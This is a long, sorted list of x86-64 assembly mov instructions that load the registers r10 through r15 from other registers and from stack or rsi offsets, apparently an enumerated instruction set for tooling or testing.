mov byte [ rsp + 0xa0 ], al
mov byte [r12], al
mov [ r10 + 0xa0 ], rbx
mov r10, r11
mov r10, r12
mov r10, r13
mov r10, r14
mov r10, r15
mov r10, r8
mov r10, r9
mov r10, rax
mov r10, rbp
mov r10, rbx
mov r10, rcx
mov r10, rdi
mov r10, rdx
mov r10, rsi
mov r13, [rbp+0x7f]
mov r13, [rbp+0x80]
mov r10, [ rsi + 0x68 ]
mov r10, [ rsi + 0xc0 ]
mov r10, [ rsp + 0x108 ]
mov r10, [ rsp + 0x1110 ]
mov r10, [ rsp + 0x11f8 ]
mov r10, [ rsp + 0x1228 ]
mov r10, [ rsp + 0x12e0 ]
mov r10, [ rsp + 0x12e8 ]
mov r10, [ rsp + 0x1310 ]
mov r10, [ rsp + 0x1330 ]
mov r10, [ rsp + 0x1358 ]
mov r10, [ rsp + 0x1460 ]
mov r10, [ rsp + 0x1468 ]
mov r10, [ rsp + 0x14d8 ]
mov r10, [ rsp + 0x1500 ]
mov r10, [ rsp + 0x15d8 ]
mov r10, [ rsp + 0x1628 ]
mov r10, [ rsp + 0x1638 ]
mov r10, [ rsp + 0x168 ]
mov r10, [ rsp + 0x16d8 ]
mov r10, [ rsp + 0x1880 ]
mov r10, [ rsp + 0x1888 ]
mov r10, [ rsp + 0x190 ]
mov r10, [ rsp + 0x1920 ]
mov r10, [ rsp + 0x1928 ]
mov r10, [ rsp + 0x1940 ]
mov r10, [ rsp + 0x1978 ]
mov r10, [ rsp + 0x198 ]
mov r10, [ rsp + 0x1a38 ]
mov r10, [ rsp + 0x1a8 ]
mov r10, [ rsp + 0x1b98 ]
mov r10, [ rsp + 0x1bf8 ]
mov r10, [ rsp + 0x1c00 ]
mov r10, [ rsp + 0x1c68 ]
mov r10, [ rsp + 0x1d48 ]
mov r10, [ rsp + 0x1d68 ]
mov r10, [ rsp + 0x1ec8 ]
mov r10, [ rsp + 0x1f00 ]
mov r10, [ rsp + 0x1f08 ]
mov r10, [ rsp + 0x1f20 ]
mov r10, [ rsp + 0x1f38 ]
mov r10, [ rsp + 0x1f78 ]
mov r10, [ rsp + 0x1f88 ]
mov r10, [ rsp + 0x1f98 ]
mov r10, [ rsp + 0x1fb0 ]
mov r10, [ rsp + 0x2010 ]
mov r10, [ rsp + 0x2030 ]
mov r10, [ rsp + 0x2080 ]
mov r10, [ rsp + 0x20b8 ]
mov r10, [ rsp + 0x2108 ]
mov r10, [ rsp + 0x2140 ]
mov r10, [ rsp + 0x2158 ]
mov r10, [ rsp + 0x2208 ]
mov r10, [ rsp + 0x2308 ]
mov r10, [ rsp + 0x2328 ]
mov r10, [ rsp + 0x2330 ]
mov r10, [ rsp + 0x2358 ]
mov r10, [ rsp + 0x2400 ]
mov r10, [ rsp + 0x250 ]
mov r10, [ rsp + 0x25e8 ]
mov r10, [ rsp + 0x2628 ]
mov r10, [ rsp + 0x2630 ]
mov r10, [ rsp + 0x2738 ]
mov r10, [ rsp + 0x2758 ]
mov r10, [ rsp + 0x27e8 ]
mov r10, [ rsp + 0x2818 ]
mov r10, [ rsp + 0x2840 ]
mov r10, [ rsp + 0x2880 ]
mov r10, [ rsp + 0x2968 ]
mov r10, [ rsp + 0x298 ]
mov r10, [ rsp + 0x2990 ]
mov r10, [ rsp + 0x29a0 ]
mov r10, [ rsp + 0x2a28 ]
mov r10, [ rsp + 0x2ae8 ]
mov r10, [ rsp + 0x2b48 ]
mov r10, [ rsp + 0x2b88 ]
mov r10, [ rsp + 0x2c58 ]
mov r10, [ rsp + 0x2cd8 ]
mov r10, [ rsp + 0x2d08 ]
mov r10, [ rsp + 0x2d50 ]
mov r10, [ rsp + 0x2dd0 ]
mov r10, [ rsp + 0x2e98 ]
mov r10, [ rsp + 0x2f08 ]
mov r10, [ rsp + 0x2f48 ]
mov r10, [ rsp + 0x2f68 ]
mov r10, [ rsp + 0x2fc0 ]
mov r10, [ rsp + 0x3020 ]
mov r10, [ rsp + 0x3028 ]
mov r10, [ rsp + 0x3058 ]
mov r10, [ rsp + 0x30e8 ]
mov r10, [ rsp + 0x3158 ]
mov r10, [ rsp + 0x31a8 ]
mov r10, [ rsp + 0x3328 ]
mov r10, [ rsp + 0x3400 ]
mov r10, [ rsp + 0x34b0 ]
mov r10, [ rsp + 0x3538 ]
mov r10, [ rsp + 0x3550 ]
mov r10, [ rsp + 0x3588 ]
mov r10, [ rsp + 0x35a0 ]
mov r10, [ rsp + 0x3628 ]
mov r10, [ rsp + 0x3698 ]
mov r10, [ rsp + 0x36a8 ]
mov r10, [ rsp + 0x3730 ]
mov r10, [ rsp + 0x3770 ]
mov r10, [ rsp + 0x380 ]
mov r10, [ rsp + 0x3848 ]
mov r10, [ rsp + 0x3850 ]
mov r10, [ rsp + 0x38c0 ]
mov r10, [ rsp + 0x38c8 ]
mov r10, [ rsp + 0x3908 ]
mov r10, [ rsp + 0x3a0 ]
mov r10, [ rsp + 0x450 ]
mov r10, [ rsp + 0x458 ]
mov r10, [ rsp + 0x48 ]
mov r10, [ rsp + 0x4c0 ]
mov r10, [ rsp + 0x678 ]
mov r10, [ rsp + 0x6a8 ]
mov r10, [ rsp + 0x6b0 ]
mov r10, [ rsp + 0x700 ]
mov r10, [ rsp + 0x780 ]
mov r10, [ rsp + 0x7b0 ]
mov r10, [ rsp + 0x898 ]
mov r10, [ rsp + 0x9a0 ]
mov r10, [ rsp + 0xa38 ]
mov r10, [ rsp + 0xa98 ]
mov r10, [ rsp + 0xb40 ]
mov r10, [ rsp + 0xbc0 ]
mov r10, [ rsp + 0xbf0 ]
mov r10, [ rsp + 0xcd8 ]
mov r10, [ rsp + 0xd08 ]
mov r10, [ rsp + 0xd60 ]
mov r10, [ rsp + 0xda8 ]
mov r10, [ rsp + 0xdd8 ]
mov r10, [ rsp + 0xe30 ]
mov r10, [ rsp + 0xef0 ]
mov r11, r10
mov r11, r12
mov r11, r13
mov r11, r14
mov r11, r15
mov r11, r8
mov r11, r9
mov r11, rax
mov r11, rbp
mov r11, rbx
mov r11, rcx
mov r11, rdi
mov r11, rdx
mov r11, rsi
mov r11, [ rsi + 0xa8 ]
mov r11, [ rsp + 0x1130 ]
mov r11, [ rsp + 0x1170 ]
mov r11, [ rsp + 0x118 ]
mov r11, [ rsp + 0x11c0 ]
mov r11, [ rsp + 0x1200 ]
mov r11, [ rsp + 0x1220 ]
mov r11, [ rsp + 0x1458 ]
mov r11, [ rsp + 0x14f0 ]
mov r11, [ rsp + 0x1520 ]
mov r11, [ rsp + 0x1558 ]
mov r11, [ rsp + 0x1578 ]
mov r11, [ rsp + 0x15a0 ]
mov r11, [ rsp + 0x15b0 ]
mov r11, [ rsp + 0x15c0 ]
mov r11, [ rsp + 0x15f0 ]
mov r11, [ rsp + 0x1698 ]
mov r11, [ rsp + 0x16f0 ]
mov r11, [ rsp + 0x1840 ]
mov r11, [ rsp + 0x188 ]
mov r11, [ rsp + 0x1960 ]
mov r11, [ rsp + 0x1998 ]
mov r11, [ rsp + 0x1a0 ]
mov r11, [ rsp + 0x1a30 ]
mov r11, [ rsp + 0x1a48 ]
mov r11, [ rsp + 0x1a58 ]
mov r11, [ rsp + 0x1a98 ]
mov r11, [ rsp + 0x1ac0 ]
mov r11, [ rsp + 0x1ad8 ]
mov r11, [ rsp + 0x1ae8 ]
mov r11, [ rsp + 0x1b48 ]
mov r11, [ rsp + 0x1ba8 ]
mov r11, [ rsp + 0x1bc8 ]
mov r11, [ rsp + 0x1c60 ]
mov r11, [ rsp + 0x1cb8 ]
mov r11, [ rsp + 0x1cf8 ]
mov r11, [ rsp + 0x1d60 ]
mov r11, [ rsp + 0x1dd8 ]
mov r11, [ rsp + 0x1e30 ]
mov r11, [ rsp + 0x1e98 ]
mov r11, [ rsp + 0x2000 ]
mov r11, [ rsp + 0x2008 ]
mov r11, [ rsp + 0x2048 ]
mov r11, [ rsp + 0x2050 ]
mov r11, [ rsp + 0x2100 ]
mov r11, [ rsp + 0x2148 ]
mov r11, [ rsp + 0x2150 ]
mov r11, [ rsp + 0x21a0 ]
mov r11, [ rsp + 0x2360 ]
mov r11, [ rsp + 0x23d0 ]
mov r11, [ rsp + 0x24e8 ]
mov r11, [ rsp + 0x2588 ]
mov r11, [ rsp + 0x25d0 ]
mov r11, [ rsp + 0x2678 ]
mov r11, [ rsp + 0x2808 ]
mov r11, [ rsp + 0x2850 ]
mov r11, [ rsp + 0x28c0 ]
mov r11, [ rsp + 0x28e0 ]
mov r11, [ rsp + 0x2930 ]
mov r11, [ rsp + 0x2978 ]
mov r11, [ rsp + 0x2988 ]
mov r11, [ rsp + 0x29e8 ]
mov r11, [ rsp + 0x2a0 ]
mov r11, [ rsp + 0x2ac0 ]
mov r11, [ rsp + 0x2b30 ]
mov r11, [ rsp + 0x2b8 ]
mov r11, [ rsp + 0x2ba8 ]
mov r11, [ rsp + 0x2bb0 ]
mov r11, [ rsp + 0x2c88 ]
mov r11, [ rsp + 0x2cc8 ]
mov r11, [ rsp + 0x2d90 ]
mov r11, [ rsp + 0x2e68 ]
mov r11, [ rsp + 0x3090 ]
mov r11, [ rsp + 0x31c0 ]
mov r11, [ rsp + 0x31f0 ]
mov r11, [ rsp + 0x3228 ]
mov r11, [ rsp + 0x33d0 ]
mov r11, [ rsp + 0x33e8 ]
mov r11, [ rsp + 0x3560 ]
mov r11, [ rsp + 0x3578 ]
mov r11, [ rsp + 0x35e0 ]
mov r11, [ rsp + 0x3610 ]
mov r11, [ rsp + 0x3668 ]
mov r11, [ rsp + 0x36b8 ]
mov r11, [ rsp + 0x3708 ]
mov r11, [ rsp + 0x37f0 ]
mov r11, [ rsp + 0x410 ]
mov r11, [ rsp + 0x4b8 ]
mov r11, [ rsp + 0x540 ]
mov r11, [ rsp + 0x628 ]
mov r11, [ rsp + 0x670 ]
mov r11, [ rsp + 0x68 ]
mov r11, [ rsp + 0x7d0 ]
mov r11, [ rsp + 0x998 ]
mov r11, [ rsp + 0xa88 ]
mov r11, [ rsp + 0xb20 ]
mov r11, [ rsp + 0xba0 ]
mov r11, [ rsp + 0xba8 ]
mov r11, [ rsp + 0xbe8 ]
mov r11, [ rsp + 0xc08 ]
mov r11, [ rsp + 0xc30 ]
mov r11, [ rsp + 0xc40 ]
mov r11, [ rsp + 0xc48 ]
mov r11, [ rsp + 0xc68 ]
mov r11, [ rsp + 0xca8 ]
mov r11, [ rsp + 0xd00 ]
mov r11, [ rsp + 0xd38 ]
mov r11, [ rsp + 0xd80 ]
mov r11, [ rsp + 0xd88 ]
mov r11, [ rsp + 0xdb8 ]
mov r11, [ rsp + 0xe68 ]
mov r11, [ rsp + 0xfc8 ]
mov r11, [ rsp + 0xff8 ]
mov [ r12 + 0x30 ], rdx
mov [ r12 + 0x68 ], r15
mov [ r12 + 0xb8 ], r10
mov r12, r10
mov r12, r11
mov r12, r13
mov r12, r14
mov r12, r15
mov r12, r8
mov r12, r9
mov r12, rax
mov r12, rbp
mov r12, rbx
mov r12, rcx
mov r12, rdi
mov r12, rdx
mov r12, rsi
mov r12, [ rsi + 0x20 ]
mov r12, [ rsi + 0x50 ]
mov r12, [ rsi + 0x58 ]
mov r12, [ rsp + 0x1028 ]
mov r12, [ rsp + 0x1050 ]
mov r12, [ rsp + 0x1090 ]
mov r12, [ rsp + 0x10a0 ]
mov r12, [ rsp + 0x1200 ]
mov r12, [ rsp + 0x1250 ]
mov r12, [ rsp + 0x1308 ]
mov r12, [ rsp + 0x1350 ]
mov r12, [ rsp + 0x1378 ]
mov r12, [ rsp + 0x13b8 ]
mov r12, [ rsp + 0x1438 ]
mov r12, [ rsp + 0x148 ]
mov r12, [ rsp + 0x1480 ]
mov r12, [ rsp + 0x1490 ]
mov r12, [ rsp + 0x1498 ]
mov r12, [ rsp + 0x1540 ]
mov r12, [ rsp + 0x1560 ]
mov r12, [ rsp + 0x1590 ]
mov r12, [ rsp + 0x16e0 ]
mov r12, [ rsp + 0x1760 ]
mov r12, [ rsp + 0x17f0 ]
mov r12, [ rsp + 0x1800 ]
mov r12, [ rsp + 0x1ab0 ]
mov r12, [ rsp + 0x1b30 ]
mov r12, [ rsp + 0x1c50 ]
mov r12, [ rsp + 0x1ce8 ]
mov r12, [ rsp + 0x1d80 ]
mov r12, [ rsp + 0x1e40 ]
mov r12, [ rsp + 0x1e78 ]
mov r12, [ rsp + 0x1ee0 ]
mov r12, [ rsp + 0x1f10 ]
mov r12, [ rsp + 0x1f60 ]
mov r12, [ rsp + 0x1f70 ]
mov r12, [ rsp + 0x200 ]
mov r12, [ rsp + 0x2060 ]
mov r12, [ rsp + 0x2170 ]
mov r12, [ rsp + 0x2180 ]
mov r12, [ rsp + 0x2198 ]
mov r12, [ rsp + 0x2230 ]
mov r12, [ rsp + 0x2238 ]
mov r12, [ rsp + 0x22e0 ]
mov r12, [ rsp + 0x2320 ]
mov r12, [ rsp + 0x238 ]
mov r12, [ rsp + 0x2388 ]
mov r12, [ rsp + 0x23c8 ]
mov r12, [ rsp + 0x23d8 ]
mov r12, [ rsp + 0x23f8 ]
mov r12, [ rsp + 0x2418 ]
mov r12, [ rsp + 0x2420 ]
mov r12, [ rsp + 0x2430 ]
mov r12, [ rsp + 0x2438 ]
mov r12, [ rsp + 0x2458 ]
mov r12, [ rsp + 0x25c8 ]
mov r12, [ rsp + 0x25e0 ]
mov r12, [ rsp + 0x25e8 ]
mov r12, [ rsp + 0x27f0 ]
mov r12, [ rsp + 0x29a0 ]
mov r12, [ rsp + 0x29e0 ]
mov r12, [ rsp + 0x29f0 ]
mov r12, [ rsp + 0x2a00 ]
mov r12, [ rsp + 0x2a78 ]
mov r12, [ rsp + 0x2a90 ]
mov r12, [ rsp + 0x2aa0 ]
mov r12, [ rsp + 0x2ae8 ]
mov r12, [ rsp + 0x2af8 ]
mov r12, [ rsp + 0x2b68 ]
mov r12, [ rsp + 0x2b90 ]
mov r12, [ rsp + 0x2b98 ]
mov r12, [ rsp + 0x2ba0 ]
mov r12, [ rsp + 0x2bd0 ]
mov r12, [ rsp + 0x2c28 ]
mov r12, [ rsp + 0x2d78 ]
mov r12, [ rsp + 0x2d8 ]
mov r12, [ rsp + 0x2eb0 ]
mov r12, [ rsp + 0x2ec0 ]
mov r12, [ rsp + 0x2f0 ]
mov r12, [ rsp + 0x2f28 ]
mov r12, [ rsp + 0x2f30 ]
mov r12, [ rsp + 0x2f78 ]
mov r12, [ rsp + 0x2f90 ]
mov r12, [ rsp + 0x2fb0 ]
mov r12, [ rsp + 0x3000 ]
mov r12, [ rsp + 0x30d0 ]
mov r12, [ rsp + 0x30f0 ]
mov r12, [ rsp + 0x31d8 ]
mov r12, [ rsp + 0x3218 ]
mov r12, [ rsp + 0x3220 ]
mov r12, [ rsp + 0x3348 ]
mov r12, [ rsp + 0x350 ]
mov r12, [ rsp + 0x3570 ]
mov r12, [ rsp + 0x35a0 ]
mov r12, [ rsp + 0x36d0 ]
mov r12, [ rsp + 0x3728 ]
mov r12, [ rsp + 0x37d8 ]
mov r12, [ rsp + 0x3830 ]
mov r12, [ rsp + 0x38f0 ]
mov r12, [ rsp + 0x3988 ]
mov r12, [ rsp + 0x448 ]
mov r12, [ rsp + 0x48 ]
mov r12, [ rsp + 0x4f0 ]
mov r12, [ rsp + 0x508 ]
mov r12, [ rsp + 0x590 ]
mov r12, [ rsp + 0x768 ]
mov r12, [ rsp + 0x788 ]
mov r12, [ rsp + 0x7d8 ]
mov r12, [ rsp + 0x860 ]
mov r12, [ rsp + 0x870 ]
mov r12, [ rsp + 0x878 ]
mov r12, [ rsp + 0x900 ]
mov r12, [ rsp + 0x920 ]
mov r12, [ rsp + 0xa10 ]
mov r12, [ rsp + 0xaf0 ]
mov r12, [ rsp + 0xb08 ]
mov r12, [ rsp + 0xd88 ]
mov r12, [ rsp + 0xec8 ]
mov r12, [ rsp + 0xf60 ]
mov r12, [ rsp + 0xf90 ]
mov r12, [ rsp + 0xfa8 ]
mov r12, [ rsp + 0xfe8 ]
mov r13, r10
mov r13, r11
mov r13, r12
mov r13, r14
mov r13, r15
mov r13, r8
mov r13, r9
mov r13, rax
mov r13, rbp
mov r13, rbx
mov r13, rcx
mov r13, rdi
mov r13, rdx
mov r13, rsi
mov r13, [ rsi + 0xb0 ]
mov r13, [ rsp + 0x108 ]
mov r13, [ rsp + 0x1178 ]
mov r13, [ rsp + 0x1258 ]
mov r13, [ rsp + 0x1288 ]
mov r13, [ rsp + 0x1300 ]
mov r13, [ rsp + 0x1340 ]
mov r13, [ rsp + 0x1398 ]
mov r13, [ rsp + 0x13f8 ]
mov r13, [ rsp + 0x1440 ]
mov r13, [ rsp + 0x14a8 ]
mov r13, [ rsp + 0x14e0 ]
mov r13, [ rsp + 0x1518 ]
mov r13, [ rsp + 0x1548 ]
mov r13, [ rsp + 0x1598 ]
mov r13, [ rsp + 0x1658 ]
mov r13, [ rsp + 0x16f8 ]
mov r13, [ rsp + 0x1758 ]
mov r13, [ rsp + 0x1828 ]
mov r13, [ rsp + 0x1a80 ]
mov r13, [ rsp + 0x1b18 ]
mov r13, [ rsp + 0x1b68 ]
mov r13, [ rsp + 0x1b88 ]
mov r13, [ rsp + 0x1bb0 ]
mov r13, [ rsp + 0x1bf8 ]
mov r13, [ rsp + 0x1c40 ]
mov r13, [ rsp + 0x1c70 ]
mov r13, [ rsp + 0x1cb8 ]
mov r13, [ rsp + 0x1d08 ]
mov r13, [ rsp + 0x1d68 ]
mov r13, [ rsp + 0x1dc0 ]
mov r13, [ rsp + 0x1e28 ]
mov r13, [ rsp + 0x1e80 ]
mov r13, [ rsp + 0x1ea8 ]
mov r13, [ rsp + 0x1eb8 ]
mov r13, [ rsp + 0x1ff0 ]
mov r13, [ rsp + 0x200 ]
mov r13, [ rsp + 0x2020 ]
mov r13, [ rsp + 0x20f8 ]
mov r13, [ rsp + 0x210 ]
mov r13, [ rsp + 0x2118 ]
mov r13, [ rsp + 0x2120 ]
mov r13, [ rsp + 0x21d8 ]
mov r13, [ rsp + 0x21e8 ]
mov r13, [ rsp + 0x2220 ]
mov r13, [ rsp + 0x22b8 ]
mov r13, [ rsp + 0x2368 ]
mov r13, [ rsp + 0x2378 ]
mov r13, [ rsp + 0x23a8 ]
mov r13, [ rsp + 0x23f0 ]
mov r13, [ rsp + 0x24c8 ]
mov r13, [ rsp + 0x24d0 ]
mov r13, [ rsp + 0x2510 ]
mov r13, [ rsp + 0x2570 ]
mov r13, [ rsp + 0x2578 ]
mov r13, [ rsp + 0x25d8 ]
mov r13, [ rsp + 0x2660 ]
mov r13, [ rsp + 0x2668 ]
mov r13, [ rsp + 0x268 ]
mov r13, [ rsp + 0x2698 ]
mov r13, [ rsp + 0x26e8 ]
mov r13, [ rsp + 0x26f0 ]
mov r13, [ rsp + 0x2740 ]
mov r13, [ rsp + 0x2828 ]
mov r13, [ rsp + 0x2838 ]
mov r13, [ rsp + 0x2870 ]
mov r13, [ rsp + 0x2918 ]
mov r13, [ rsp + 0x2948 ]
mov r13, [ rsp + 0x2a40 ]
mov r13, [ rsp + 0x2a98 ]
mov r13, [ rsp + 0x2b28 ]
mov r13, [ rsp + 0x2bd8 ]
mov r13, [ rsp + 0x2cc8 ]
mov r13, [ rsp + 0x2d20 ]
mov r13, [ rsp + 0x2d60 ]
mov r13, [ rsp + 0x2db0 ]
mov r13, [ rsp + 0x2de0 ]
mov r13, [ rsp + 0x2e28 ]
mov r13, [ rsp + 0x2e58 ]
mov r13, [ rsp + 0x2ec0 ]
mov r13, [ rsp + 0x2f80 ]
mov r13, [ rsp + 0x2f88 ]
mov r13, [ rsp + 0x2f98 ]
mov r13, [ rsp + 0x2fa8 ]
mov r13, [ rsp + 0x2ff8 ]
mov r13, [ rsp + 0x300 ]
mov r13, [ rsp + 0x3030 ]
mov r13, [ rsp + 0x3050 ]
mov r13, [ rsp + 0x3108 ]
mov r13, [ rsp + 0x3180 ]
mov r13, [ rsp + 0x3200 ]
mov r13, [ rsp + 0x3260 ]
mov r13, [ rsp + 0x3280 ]
mov r13, [ rsp + 0x3358 ]
mov r13, [ rsp + 0x3520 ]
mov r13, [ rsp + 0x3528 ]
mov r13, [ rsp + 0x35a8 ]
mov r13, [ rsp + 0x35e0 ]
mov r13, [ rsp + 0x35f8 ]
mov r13, [ rsp + 0x3608 ]
mov r13, [ rsp + 0x3640 ]
mov r13, [ rsp + 0x3650 ]
mov r13, [ rsp + 0x368 ]
mov r13, [ rsp + 0x3680 ]
mov r13, [ rsp + 0x3690 ]
mov r13, [ rsp + 0x36e8 ]
mov r13, [ rsp + 0x3828 ]
mov r13, [ rsp + 0x388 ]
mov r13, [ rsp + 0x3990 ]
mov r13, [ rsp + 0x500 ]
mov r13, [ rsp + 0x518 ]
mov r13, [ rsp + 0x538 ]
mov r13, [ rsp + 0x560 ]
mov r13, [ rsp + 0x578 ]
mov r13, [ rsp + 0x58 ]
mov r13, [ rsp + 0x750 ]
mov r13, [ rsp + 0x7c8 ]
mov r13, [ rsp + 0x7f8 ]
mov r13, [ rsp + 0x8a8 ]
mov r13, [ rsp + 0x970 ]
mov r13, [ rsp + 0xac0 ]
mov r13, [ rsp + 0xac8 ]
mov r13, [ rsp + 0xad0 ]
mov r13, [ rsp + 0xd48 ]
mov r13, [ rsp + 0xde8 ]
mov r13, [ rsp + 0xe88 ]
mov r14, r10
mov r14, r11
mov r14, r12
mov r14, r13
mov r14, r15
mov r14, r8
mov r14, r9
mov r14, rax
mov r14, rbp
mov r14, rbx
mov r14, rcx
mov r14, rdi
mov r14, rdx
mov r14, rsi
mov r14, [ rsi + 0x48 ]
mov r14, [ rsi + 0x8 ]
mov r14, [ rsi + 0x98 ]
mov r14, [ rsp + 0x1098 ]
mov r14, [ rsp + 0x10c0 ]
mov r14, [ rsp + 0x1100 ]
mov r14, [ rsp + 0x1148 ]
mov r14, [ rsp + 0x1160 ]
mov r14, [ rsp + 0x11a8 ]
mov r14, [ rsp + 0x11e0 ]
mov r14, [ rsp + 0x1208 ]
mov r14, [ rsp + 0x1210 ]
mov r14, [ rsp + 0x1240 ]
mov r14, [ rsp + 0x1298 ]
mov r14, [ rsp + 0x12b0 ]
mov r14, [ rsp + 0x12d8 ]
mov r14, [ rsp + 0x13c8 ]
mov r14, [ rsp + 0x1408 ]
mov r14, [ rsp + 0x1418 ]
mov r14, [ rsp + 0x14e0 ]
mov r14, [ rsp + 0x1528 ]
mov r14, [ rsp + 0x1558 ]
mov r14, [ rsp + 0x1570 ]
mov r14, [ rsp + 0x15c8 ]
mov r14, [ rsp + 0x1778 ]
mov r14, [ rsp + 0x17c0 ]
mov r14, [ rsp + 0x1808 ]
mov r14, [ rsp + 0x1818 ]
mov r14, [ rsp + 0x18a0 ]
mov r14, [ rsp + 0x19b8 ]
mov r14, [ rsp + 0x19c0 ]
mov r14, [ rsp + 0x19e0 ]
mov r14, [ rsp + 0x1a0 ]
mov r14, [ rsp + 0x1a70 ]
mov r14, [ rsp + 0x1bf0 ]
mov r14, [ rsp + 0x1c48 ]
mov r14, [ rsp + 0x1d30 ]
mov r14, [ rsp + 0x1dc8 ]
mov r14, [ rsp + 0x1dd0 ]
mov r14, [ rsp + 0x1e10 ]
mov r14, [ rsp + 0x1e20 ]
mov r14, [ rsp + 0x1e78 ]
mov r14, [ rsp + 0x1ed8 ]
mov r14, [ rsp + 0x1f48 ]
mov r14, [ rsp + 0x2040 ]
mov r14, [ rsp + 0x2068 ]
mov r14, [ rsp + 0x20b0 ]
mov r14, [ rsp + 0x20c8 ]
mov r14, [ rsp + 0x2138 ]
mov r14, [ rsp + 0x21f8 ]
mov r14, [ rsp + 0x23a8 ]
mov r14, [ rsp + 0x2480 ]
mov r14, [ rsp + 0x25a8 ]
mov r14, [ rsp + 0x2600 ]
mov r14, [ rsp + 0x2678 ]
mov r14, [ rsp + 0x28 ]
mov r14, [ rsp + 0x280 ]
mov r14, [ rsp + 0x2828 ]
mov r14, [ rsp + 0x2838 ]
mov r14, [ rsp + 0x28d8 ]
mov r14, [ rsp + 0x28f8 ]
mov r14, [ rsp + 0x2908 ]
mov r14, [ rsp + 0x2918 ]
mov r14, [ rsp + 0x2958 ]
mov r14, [ rsp + 0x2ab8 ]
mov r14, [ rsp + 0x2ac8 ]
mov r14, [ rsp + 0x2ae0 ]
mov r14, [ rsp + 0x2b98 ]
mov r14, [ rsp + 0x2c70 ]
mov r14, [ rsp + 0x2cb8 ]
mov r14, [ rsp + 0x2ce0 ]
mov r14, [ rsp + 0x2e30 ]
mov r14, [ rsp + 0x2e70 ]
mov r14, [ rsp + 0x2e80 ]
mov r14, [ rsp + 0x2e88 ]
mov r14, [ rsp + 0x2eb0 ]
mov r14, [ rsp + 0x2f10 ]
mov r14, [ rsp + 0x2f58 ]
mov r14, [ rsp + 0x3080 ]
mov r14, [ rsp + 0x3178 ]
mov r14, [ rsp + 0x32b8 ]
mov r14, [ rsp + 0x3390 ]
mov r14, [ rsp + 0x33a8 ]
mov r14, [ rsp + 0x3430 ]
mov r14, [ rsp + 0x3508 ]
mov r14, [ rsp + 0x3548 ]
mov r14, [ rsp + 0x3590 ]
mov r14, [ rsp + 0x3630 ]
mov r14, [ rsp + 0x3678 ]
mov r14, [ rsp + 0x3690 ]
mov r14, [ rsp + 0x370 ]
mov r14, [ rsp + 0x3790 ]
mov r14, [ rsp + 0x37d0 ]
mov r14, [ rsp + 0x3858 ]
mov r14, [ rsp + 0x3880 ]
mov r14, [ rsp + 0x390 ]
mov r14, [ rsp + 0x3928 ]
mov r14, [ rsp + 0x3930 ]
mov r14, [ rsp + 0x3960 ]
mov r14, [ rsp + 0x3998 ]
mov r14, [ rsp + 0x3b8 ]
mov r14, [ rsp + 0x40 ]
mov r14, [ rsp + 0x408 ]
mov r14, [ rsp + 0x4a8 ]
mov r14, [ rsp + 0x4d0 ]
mov r14, [ rsp + 0x4f8 ]
mov r14, [ rsp + 0x520 ]
mov r14, [ rsp + 0x590 ]
mov r14, [ rsp + 0x658 ]
mov r14, [ rsp + 0x6a0 ]
mov r14, [ rsp + 0x6c0 ]
mov r14, [ rsp + 0x6d0 ]
mov r14, [ rsp + 0x738 ]
mov r14, [ rsp + 0x778 ]
mov r14, [ rsp + 0x7c0 ]
mov r14, [ rsp + 0x810 ]
mov r14, [ rsp + 0x930 ]
mov r14, [ rsp + 0x940 ]
mov r14, [ rsp + 0x9c0 ]
mov r14, [ rsp + 0x9f8 ]
mov r14, [ rsp + 0xa18 ]
mov r14, [ rsp + 0xa68 ]
mov r14, [ rsp + 0xa80 ]
mov r14, [ rsp + 0xb80 ]
mov r14, [ rsp + 0xcc0 ]
mov r14, [ rsp + 0xcf0 ]
mov r14, [ rsp + 0xd20 ]
mov r14, [ rsp + 0xdd0 ]
mov r14, [ rsp + 0xe90 ]
mov r14, [ rsp + 0xfa8 ]
mov r14, [ rsp + 0xfc0 ]
mov r14, [ rsp + 0xfc8 ]
mov r14, [ rsp + 0xfd8 ]
mov [ r15 + 0x10 ], rdx
mov [ r15 + 0x88 ], rdx
mov r15, r10
mov r15, r11
mov r15, r12
mov r15, r13
mov r15, r14
mov r15, r8
mov r15, r9
mov r15, rax
mov r15, rbp
mov r15, rbx
mov r15, rcx
mov r15, rdi
mov r15, rdx
mov r15, rsi
mov r15, [ rsi + 0x0 ]
mov r15, [ rsi + 0xb8 ]
mov r15, [ rsp + 0x0 ]
mov r15, [ rsp + 0x1070 ]
mov r15, [ rsp + 0x10b0 ]
mov r15, [ rsp + 0x10c8 ]
mov r15, [ rsp + 0x10e8 ]
mov r15, [ rsp + 0x1150 ]
mov r15, [ rsp + 0x1318 ]
mov r15, [ rsp + 0x1378 ]
mov r15, [ rsp + 0x14f8 ]
mov r15, [ rsp + 0x160 ]
mov r15, [ rsp + 0x1668 ]
mov r15, [ rsp + 0x1680 ]
mov r15, [ rsp + 0x16a0 ]
mov r15, [ rsp + 0x1718 ]
mov r15, [ rsp + 0x17a0 ]
mov r15, [ rsp + 0x17c8 ]
mov r15, [ rsp + 0x17d8 ]
mov r15, [ rsp + 0x17e0 ]
mov r15, [ rsp + 0x17e8 ]
mov r15, [ rsp + 0x1800 ]
mov r15, [ rsp + 0x18b0 ]
mov r15, [ rsp + 0x1900 ]
mov r15, [ rsp + 0x19d8 ]
mov r15, [ rsp + 0x1a18 ]
mov r15, [ rsp + 0x1a48 ]
mov r15, [ rsp + 0x1a68 ]
mov r15, [ rsp + 0x1ae0 ]
mov r15, [ rsp + 0x1b78 ]
mov r15, [ rsp + 0x1bc0 ]
mov r15, [ rsp + 0x1c78 ]
mov r15, [ rsp + 0x1d88 ]
mov r15, [ rsp + 0x1e38 ]
mov r15, [ rsp + 0x1ee8 ]
mov r15, [ rsp + 0x1f0 ]
mov r15, [ rsp + 0x20c0 ]
mov r15, [ rsp + 0x2130 ]
mov r15, [ rsp + 0x2190 ]
mov r15, [ rsp + 0x22d0 ]
mov r15, [ rsp + 0x22e0 ]
mov r15, [ rsp + 0x2390 ]
mov r15, [ rsp + 0x25d0 ]
mov r15, [ rsp + 0x2800 ]
mov r15, [ rsp + 0x2890 ]
mov r15, [ rsp + 0x2898 ]
mov r15, [ rsp + 0x28e8 ]
mov r15, [ rsp + 0x2998 ]
mov r15, [ rsp + 0x29b8 ]
mov r15, [ rsp + 0x2a30 ]
mov r15, [ rsp + 0x2a48 ]
mov r15, [ rsp + 0x2a58 ]
mov r15, [ rsp + 0x2a60 ]
mov r15, [ rsp + 0x2b0 ]
mov r15, [ rsp + 0x2b38 ]
mov r15, [ rsp + 0x2c58 ]
mov r15, [ rsp + 0x2ce0 ]
mov r15, [ rsp + 0x2d0 ]
mov r15, [ rsp + 0x2d10 ]
mov r15, [ rsp + 0x2d40 ]
mov r15, [ rsp + 0x2e00 ]
